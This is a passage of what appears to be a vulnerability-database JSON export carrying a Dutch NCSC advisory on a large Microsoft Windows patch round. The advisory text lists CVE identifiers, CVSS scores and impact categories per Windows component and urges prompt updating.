CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:08.486474Z"}, {"uuid": "93a1b229-c34e-49eb-9314-33ffa4ea1165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              